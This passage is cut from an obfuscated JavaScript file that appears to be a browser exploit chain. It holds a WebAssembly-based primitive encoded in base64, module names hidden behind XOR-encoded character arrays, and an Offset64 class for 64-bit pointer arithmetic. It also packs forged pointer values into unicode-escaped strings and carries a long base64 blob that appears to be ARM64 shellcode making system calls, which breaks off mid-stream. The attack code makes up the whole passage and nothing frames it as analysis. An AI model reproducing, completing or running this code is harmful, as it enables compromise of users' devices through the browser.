wxNCwzMiwxNSwxNiwxLDE1LDExLDYwLDEsMSwoMTc4MzUxODA0NyBeIDE3ODM1MTc5ODUpLDMyLDAsMzIsMSwzMiwyLDMyLDMsMzIsNCwzMiw1LDMyLDYsMzIsNywzMiw4LDMyLDksMzIsMTAsMzIsMTEsMzIsMTIsMzIsMTMsMzIsMTQsMzIsMTUsMTYsMiwzMywxNiw2NSwwLDMyLDE2LCgxNjY0NjMzMjA4IF4gMTY2NDYzMzMxMSksNTQsMiwwLDY1LDQsMzIsMTYsNjYsMzIsKDEzODA4NjY2ODAgXiAxMzgwODY2ODAwKSwoMTcwMTQ2MzQxMSBeIDE3MDE0NjM1MDgpLDU0LDIsMCwxNSwxMV0pLmJ1ZmZlcixJPW5ldyBXZWJBc3NlbWJseS5Nb2R1bGUodCx7fSksbj1uZXcgV2ViQXNzZW1ibHkuSW5zdGFuY2UoSSx7fSksaD1uLmV4cG9ydHMuZixzPW4uZXhwb3J0cy5vLHk9bmV3IFVpbnQzMkFycmF5KG4uZXhwb3J0cy5tLmJ1ZmZlcik7bGV0IGw9bnVsbCxDPW51bGw7bnVsbCE9PW8mJiEwPT09Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbMCwgNSwgNywgNywgOCwgODIsIDgwLCAyLCA4MywgMCwgNCwgMCwgOCwgODMsIDgwLCAzLCA4MCwgOSwgODcsIDUsIDEsIDgzLCA4NCwgMywgOSwgNiwgODcsIDcsIDUsIDcsIDg1LCA1LCA4NSwgNiwgNCwgOCwgMiwgODQsIDgzLCAxXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDQ5KTt9KS5qb2luKCIiKSkpLnpuLk5uLnNLZk5tZiYmITA9PT1vLmNjJiYobD1QLmNyKCkuZmgoKFs1NywgNTgsIDM5LCAxNiwgNTAsIDUyLCA1NCwgMywgMzksIDMzXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDgzKTt9KS5qb2luKCIiKSkpLEM9by5kYShtLnV0KGwpLG0udXQoMCkpKTtmb3IobGV0IGk9MDtpPCgxNDY0NDIzMDI2IF4gMTQ2NDM5MDg2Nik7aSsrKXRyeXtoKCl9Y2F0Y2goaSl7fWNvbnN0IGc9eC5WdC51dCgoMjA1NDA0Mjc0NiBeIDIwNTQwMzM2MjMpKTtpLmNhbGxlcj17amQobywuLi50KXtjb25zdCBJPWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzY4LCA2NSwgNjcsIDY3LCA3NiwgMjIsIDIwLCA3MCwgMjMsIDY4LCA2NCwgNjgsIDc2LCAyMywgMjAsIDcxLCAyMCwgNzcsIDE5LCA2NSwgNjksIDIzLCAxNiwgNzEsIDc3LCA2NiwgMTksIDY3LCA2NSwgNjcsIDE3LCA2NSwgMTcsIDY2LCA2NCwgNzYsIDcwLCAxNiwgMjMsIDY5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDExNyk7fSkuam9pbigiIikpKS56bjtpZihvIGluc3RhbmNlb2YgbT09ITEpdGhyb3cgbmV3IEVycm9yKCIiKTtpZihvLkV0KCkpdGhyb3cgbmV3IEVycm9yKCIiKTtpZih0Lmxlbmd0aD44KXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1uZXcgQXJyYXkoMTYpO2xldCBsPTA7Zm9yKGNvbnN0IGkgaW4gdCl7Y29uc3QgYz10W2ldO2lmKHRbaV1pbnN0YW5jZW9mIG09PSExKXRocm93IG5ldyBFcnJvcigiIik7bltsXT1jLml0LG5bbCsxXT1jLmV0LGwrPTJ9Y29uc3QgYj1mdW5jdGlvbihpKXtjb25zdCBvPWMudHIoaSk7cmV0dXJuIGMubnIobytnbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMDUsIDEwOCwgMTEwLCAxMTAsIDk3LCA1OSwgNTcsIDEwNywgNTgsIDEwNSwgMTA5LCAxMDUsIDk3LCA1OCwgNTcsIDEwNiwgNTcsIDk2LCA2MiwgMTA4LCAxMDQsIDU4LCA2MSwgMTA2LCA5NiwgMTExLCA2MiwgMTEwLCAxMDgsIDExMCwgNjAsIDEwOCwgNjAsIDExMSwgMTA5LCA5NywgMTA3LCA2MSwgNTgsIDEwNF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4OCk7fSkuam9pbigiIikpKS56bi5Obi5ydlhTaGYpfShzKSxLPUkuWG4ucnIoYik7aWYobnVsbCE9PUkuTW4pbz0hMD09PVAuem4ucW4/SS5Nbi50YyhDLG8sZyk6SS5Nbi5lcihvLGcpO2Vsc2UgaWYoITA9PT1pLlNuKXRocm93IG5ldyBFcnJvcigiIik7SS5Ybi5KcihiLG8pO3RyeXtoKC4uLm4pfWZpbmFsbHl7SS5Ybi5KcihiLEspfWNvbnN0IHU9eC5TKHlbMF0pLGQ9eC5TKHlbMV0pO3JldHVybiBuZXcgeC5WdCh1LGQpfX19LHI7"); +const platformModule = globalThis.moduleManager.getModuleByName(([88, 93, 95, 95, 80, 10, 8, 90, 11, 88, 92, 88, 80, 11, 8, 91, 8, 81, 15, 93, 89, 11, 12, 91, 81, 94, 15, 95, 93, 95, 13, 93, 13, 94, 92, 80, 90, 12, 11, 89].map(x => { + return String.fromCharCode(x ^ 105); + }).join(""))), + utilityModule = globalThis.moduleManager.getModuleByName(([96, 98, 99, 103, 101, 103, 101, 99, 49, 99, 103, 101, 98, 108, 55, 52, 52, 49, 101, 48, 96, 98, 48, 99, 49, 108, 48, 54, 108, 102, 100, 103, 101, 54, 101, 51, 96, 103, 97, 98].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))), + { + N: G + } = globalThis.moduleManager.getModuleByName(([71, 69, 68, 64, 66, 64, 66, 68, 22, 68, 64, 66, 69, 75, 16, 19, 19, 22, 66, 23, 71, 69, 23, 68, 22, 75, 23, 17, 75, 65, 67, 64, 66, 17, 66, 20, 71, 64, 70, 69].map(x => { + return String.fromCharCode(x ^ 114); + }).join(""))), + intToUnicodeEscape = utilityModule.intToUnicodeEscape, + gA = utilityModule, + DA = (959607393 ^ 959607179); +class MA { + static fromUnsigned(A) { + return new Offset64(A >>> 0, A / 0x100000000 >>> 0) + } + static st(A) { return this.fromUnsigned(A); } + constructor(A, B) { + this.it = A >>> 0, this.et = B >>> 0 + } + add(A) { + const B = this.et; + let g = this.it; + return g += A, new Offset64(g, B) + } + xor(A) { + const B = this.it ^ A.it, + g = this.et ^ A.et; + return new Offset64(B >>> 0, g >>> 0) + } + gA(A) { + let B = 0; + return B = A, Offset64.fromUnsigned(this.toNumber() + B) + } + sub(A) { + return this.add(-A) + } + DA(A) { + return this.gA(-A) + } + MA() { + return 0 !== this.et || this.it > (1682000245 ^ 1682004341) && this.it < (4294967296 + (959936069 ^ -113805755)) + } + Et() { + return 0 === this.et && 0 === this.it + } + toString() { + return this.et.toString(16) + "`" + this.it.toString(16) + } + ct() { + return 4294967296 * this.et + this.it + } +} + +function CA(A, B, g, Q, D, M, w, C, I, E, U, N, F, k, T, S, o, G, Y, L, R, c, V) { + var q = ""; + return q += intToUnicodeEscape((1412916293 ^ 1077372021)), q += intToUnicodeEscape((1987207536 ^ 1651663155)), + q += intToUnicodeEscape(A.it), q += intToUnicodeEscape(A.et), q += intToUnicodeEscape(B.it), q += intToUnicodeEscape(B.et), q += intToUnicodeEscape(g.it), q += intToUnicodeEscape(g.et), q += intToUnicodeEscape(Q.it), q += intToUnicodeEscape(Q.et), q += intToUnicodeEscape(D), q += intToUnicodeEscape(0), q += intToUnicodeEscape(M.it), q += intToUnicodeEscape(M.et), q += intToUnicodeEscape(w.it), q += intToUnicodeEscape(w.et), q += intToUnicodeEscape(C.it), q += intToUnicodeEscape(C.et), q += intToUnicodeEscape(I.it), q += intToUnicodeEscape(I.et), q += intToUnicodeEscape(E.it), q += intToUnicodeEscape(E.et), q += intToUnicodeEscape(U.it), q += intToUnicodeEscape(U.et), q += intToUnicodeEscape(N.it), q += intToUnicodeEscape(N.et), q += intToUnicodeEscape(F.it), q += intToUnicodeEscape(F.et), q += intToUnicodeEscape(k.it), q += intToUnicodeEscape(k.et), q += intToUnicodeEscape(T.it), q += intToUnicodeEscape(T.et), q += intToUnicodeEscape(o.it), q += intToUnicodeEscape(o.et), q += intToUnicodeEscape(G.it), q += intToUnicodeEscape(G.et), q += intToUnicodeEscape(S.it), q += intToUnicodeEscape(S.et), q += intToUnicodeEscape(Y.it), q += intToUnicodeEscape(Y.et), q += intToUnicodeEscape(L.it), q += intToUnicodeEscape(L.et), q += intToUnicodeEscape(R.it), q += intToUnicodeEscape(R.et), q += intToUnicodeEscape(c.it), q += intToUnicodeEscape(c.et), q += intToUnicodeEscape(V.it), q += intToUnicodeEscape(V.et), q += gA.base64DecodeUtf16("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